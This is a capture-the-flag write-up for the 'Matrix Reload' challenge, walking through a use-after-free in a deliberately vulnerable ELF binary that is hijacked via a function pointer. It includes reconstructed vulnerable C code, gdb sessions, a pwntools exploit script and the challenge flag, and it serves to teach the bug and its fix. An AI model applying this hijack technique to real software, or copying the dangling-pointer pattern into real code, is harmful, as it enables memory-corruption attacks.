
Matrix Reload (Reverse Engineering) - Writeup
On this page
- 1.Challenge Overview
- 2.Step 0: What is a Use-After-Free? (for first-timers)
- 3.Step 1: Triage the Binary
- 4.Step 2: Find the Hidden Function
- 5.Step 3: Static Analysis — Reconstruct the Logic
- 6.Step 4: Confirm the Heap Reuse in a Debugger
- 7.Step 5: Get revealflag's Address
- 8.Step 6: Trigger It — The Exploit
- 9.Step 7: Bonus — The Flag Never Needed Execution
- 10.Summary
- 11.Key Takeaways
Challenge Overview
| Event | KPMG CTF 2026 Campus Edition |
| Challenge | Matrix Reload |
| Category | Reverse Engineering / Binary Exploitation (pwn) |
| Points | 30 |
| Target | matrix (64-bit ELF, provided in CTF_File.zip) |
"Hidden functionality exists beyond the available menu options... The bug lies in how the program handles a user after deletion. Follow the sequence create → delete → create data → access user and observe how heap memory is reused. After locating the target function in the debugger, try supplying its hexadecimal address when creating data and see what happens when the stale user object is accessed."

The brief is practically a walkthrough: there is a hidden function the menu never calls, the program frees a user but keeps using it (a Use-After-Free), and the fix is to make the freed memory come back under our control and point it at that hidden function. This is a textbook tcache Use-After-Free → function-pointer hijack.
Step 0: What is a Use-After-Free? (for first-timers)
When a C program calls malloc(size), it gets a block of heap memory. free(ptr) hands that block back to the allocator so it can be reused. A Use-After-Free (UAF) happens when the program keeps using a pointer after it was freed.
The danger: once memory is freed, the next malloc() of the same size often returns that exact same block. Modern glibc keeps freed blocks in a per-size cache called the tcache, and it is LIFO (last-freed, first-returned). So if we:
- free an object, then
- allocate a new object of the same size and fill it with our own bytes,
the new object lands on top of the old one. The old (stale) pointer now points at our data. If that old object contained a function pointer that the program later calls, we control where it jumps. That is this whole challenge.
Step 1: Triage the Binary
Before opening a disassembler, figure out what we're dealing with.
file matrix
matrix: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, ... not stripped
Two things matter here:
not stripped→ all the function names are still in the binary. Huge help.pie executable→ the code is loaded at a random base address each run (ASLR). So function addresses aren't fixed numbers; we'll have to resolve them at runtime. (This is why the brief says "locate the function in the debugger.")
A quick protection summary:
PIE : Yes (DYN) <- addresses randomized
NX : Yes <- can't execute shellcode on the stack/heap
RELRO : Partial
Canary : No
NX being on tells us we won't be injecting shellcode — we'll be redirecting execution to code that already exists in the binary. That fits perfectly with a hidden win-function.
Step 2: Find the Hidden Function
Since the binary isn't stripped, just list its functions:
nm matrix | grep ' [tT] '
00000000000011e9 T print_username
0000000000001213 T reveal_flag <-- !!
000000000000129d T create_user
0000000000001360 T delete_user
00000000000013a1 T create_data
00000000000014aa T show_user
00000000000014e4 T main
The menu only offers Create user, Delete user, Show user, Create data. But there's a reveal_flag function in the binary that no menu option calls. That mismatch — "code that exists but you can't reach from the menu" — is the objective. Note its file offset: 0x1213.
A glance at the strings confirms the menu and hints at the input we'll need:
strings matrix
Enter username:
Enter data:
Enter handler address (hex): <-- create data asks for a hex address
Invalid address.
=== The Matrix Reloaded ( Freed Memory ) ===
"Enter handler address (hex)" is a big tell: the program is going to take an address from us and store it somewhere.
Step 3: Static Analysis — Reconstruct the Logic
Open the binary in Ghidra/IDA (or objdump -d -M intel matrix) and read the four menu functions. Here's the cleaned-up, commented reconstruction. The object every function works with is 40 bytes (0x28):
// The heap object (what create_user / create_data allocate):
struct obj {
char name[0x20]; // +0x00 : 32-byte text buffer
void (*handler)(); // +0x20 : 8-byte FUNCTION POINTER <-- the target
};
void **g_user; // global pointer to the current user object
void **g_data; // global pointer to the current data object
create_user — allocates the object and installs a legitimate handler:
void create_user(void) {
g_user = malloc(0x28); // 40-byte chunk
g_user->handler = print_username; // [g_user+0x20] = &print_username
printf("Enter username: ");
fgets(g_user->name, 0x20, stdin); // fill name[]
puts("User created.");
}
delete_user — frees it, but leaves the pointer dangling:
void delete_user(void) {
if (g_user == NULL) { puts("No user exists."); return; }
free(g_user); // chunk goes into tcache[0x30]
puts("User deleted.");
// *** BUG: g_user is NOT set to NULL. It still points at freed memory. ***
}
create_data — allocates the same size, and writes an attacker-supplied value into the handler slot:
void create_data(void) {
unsigned long addr;
g_data = malloc(0x28); // SAME 0x28 -> reuses the freed user chunk
printf("Enter data: ");
fgets(g_data->name, 0x20, stdin); // writes name[] (offset +0x00)
printf("Enter handler address (hex): ");
scanf("%lx", &addr); // read a hex number from us
g_data->handler = (void(*)())addr; // [g_data+0x20] = addr
// ...and g_data == g_user, so this
// overwrites the user's handler!
puts("Data created.");
}
show_user — calls whatever function pointer is in the user object:
void show_user(void) {
if (g_user == NULL) { puts("No user exists."); return; }
g_user->handler(g_user); // call [g_user+0x20]
}
Putting it together:
create_userstoresprint_usernameat offset +0x20.delete_userfrees the object but keepsg_userpointing at it.create_datagrabs the same freed block and lets us write any 8-byte value to offset +0x20.show_usercalls offset +0x20.
So the value we type into "handler address" becomes the function show_user calls. Point it at reveal_flag and we win.
Step 4: Confirm the Heap Reuse in a Debugger
Theory is nice, but let's prove the freed user chunk and the new data chunk are the same memory. Run under gdb and print the globals at two breakpoints:
gdb -q ./matrix
(gdb) break delete_user
(gdb) break show_user
(gdb) run
# then drive the menu: 1 alice / 2 / 4 mydata 4096 / 3
Printing the pointers:
[at delete_user] g_user = 0x55555555b2c0
[at show_user] g_user = 0x55555555b2c0 g_data = 0x55555555b2c0
handler to be called = 0x4096
address of reveal_flag = 0x555555555213
This is the entire exploit in four lines:
g_userafter free is still0x55555555b2c0(dangling — the UAF).g_datacame back as the same address0x55555555b2c0(tcache reuse confirmed).- The handler slot now holds
0x4096— exactly the hex value I typed as "data" (4096read as%lx). We control the function pointer. reveal_flaglives at0x555555555213this run.
Note: I typed
4096and it became0x4096because the program parses it withscanf("%lx")— hex, and without a0xprefix.
Step 5: Get reveal_flag's Address
Because the binary is PIE, reveal_flag's address changes every run — unless ASLR is disabled. gdb disables ASLR by default, so inside gdb its address is stable. Ask for it directly:
(gdb) p &reveal_flag
$1 = (<text variable, no debug info> *) 0x555555555213 <reveal_flag>
Sanity check against the static offset from Step 2: base 0x555555554000 (the standard no-ASLR PIE base) + 0x1213 = 0x555555555213. Match.
Step 6: Trigger It — The Exploit
Now run the sequence the brief described. Outside gdb I use setarch -R to disable ASLR so the base is the same 0x555555554000:
printf '1\nalice\n2\n4\nmydata\n555555555213\n3\n5\n' | setarch -R ./matrix
The menu sequence in plain English:
| Input | Menu action | Effect |
|---|---|---|
1, alice | Create user | allocate object, handler = print_username |
2 | Delete user | free() the object — g_user now dangling (UAF) |
4, mydata, 555555555213 | Create data | reuse the freed chunk; overwrite handler with &reveal_flag |
3 | Show user | calls the handler → jumps to reveal_flag |
5 | Exit |
Output:
> Enter username: User created.
> User deleted.
> Enter data: Enter handler address (hex): Data created.
> Flag: KPMG_CTF{Matrix_Escaped}
Flag captured. 🎉
Reproducible version with pwntools
For the writeup/repo, a script is cleaner than typing menu numbers, and elf.sym.reveal_flag resolves the address properly even with PIE:
from pwn import *
elf = context.binary = ELF('./matrix')
p = process('./matrix') # local; use remote(host, port) for a server
def menu(choice):
p.sendlineafter(b'> ', str(choice).encode())
menu(1); p.sendlineafter(b'username: ', b'alice') # create user
menu(2) # delete user (UAF)
menu(4); p.sendlineafter(b'data: ', b'mydata') # reuse chunk
p.sendlineafter(b'(hex): ', f'{elf.sym.reveal_flag:x}'.encode()) # overwrite handler
menu(3) # show user -> reveal_flag
print(p.recvall(timeout=2).decode())
On a remote PIE target you couldn't just read
&reveal_flag— you'd need an info-leak to learn the base first. This challenge is solvable locally because gdb /setarch -Rpin the base. Worth stating in a writeup.
Step 7: Bonus — The Flag Never Needed Execution
reveal_flag builds the flag on the stack from three 8-byte constants and XORs every byte with 0x5a:
121b: movabs rax, 0x1c0e19051d170a11
1225: movabs rdx, 0x052233282e3b1721
1237: movabs rax, 0x273e3f2a3b39291f
125d: xor eax, 0x5a ; single-byte key, 24 bytes total
So you can recover it statically, straight from those immediates — no exploit required:
import struct
qs = [0x1c0e19051d170a11, 0x052233282e3b1721, 0x273e3f2a3b39291f]
raw = b"".join(struct.pack("<Q", q) for q in qs)
print(bytes(b ^ 0x5a for b in raw[:24]).decode())
# KPMG_CTF{Matrix_Escaped}
Triggering the UAF is the intended path; the XOR decode is a nice shortcut to confirm the answer.
Summary
| Step | Action | Result |
|---|---|---|
| 1 | file / checksec | 64-bit PIE, not stripped, NX on |
| 2 | nm + strings | hidden reveal_flag (offset 0x1213); "handler address (hex)" prompt |
| 3 | Static analysis | object has a function pointer at +0x20; delete_user never nulls g_user (UAF) |
| 4 | gdb breakpoints | g_user == g_data after reuse; handler slot = our value |
| 5 | p &reveal_flag | runtime address 0x555555555213 |
| 6 | create → delete → create data(addr) → show user | Flag |
Key Takeaways
- A dangling pointer is the whole bug.
delete_usercallsfree(g_user)but never doesg_user = NULL. One missing line turns a freed object into a live attacker-controlled one. Always null pointers after freeing them. - Same-size allocations collide in the tcache. Because the user and data objects are both
0x28bytes, the freed user chunk is the exact blockcreate_datagets back (LIFO). Reusing a type's memory for a different object without reinitializing it is dangerous. - Never call a function pointer you let the user write.
show_userblindlycalls[g_user+0x20], andcreate_datawrites that slot from user input. That's arbitrary-call. Sensitive fields like function pointers must never be attacker-writable. - PIE raises the bar but isn't a wall locally. Addresses randomize per run, but gdb/
setarch -Rdisable ASLR, and the binary wasn't stripped, soreveal_flagwas trivial to locate. A remote PIE target would additionally require an info-leak. - This maps to CWE-416 (Use After Free). Real-world UAFs in browsers and kernels follow the same shape: free an object, get the allocator to hand that memory back under your control, then make the program use a pointer (often a vtable/function pointer) inside it.
- Fix: set
g_user = NULLimmediately afterfree(); re-initialize any function pointers when reusing memory; and don't store/call pointers that user input can overwrite.
Flag: KPMG_CTF{Matrix_Escaped}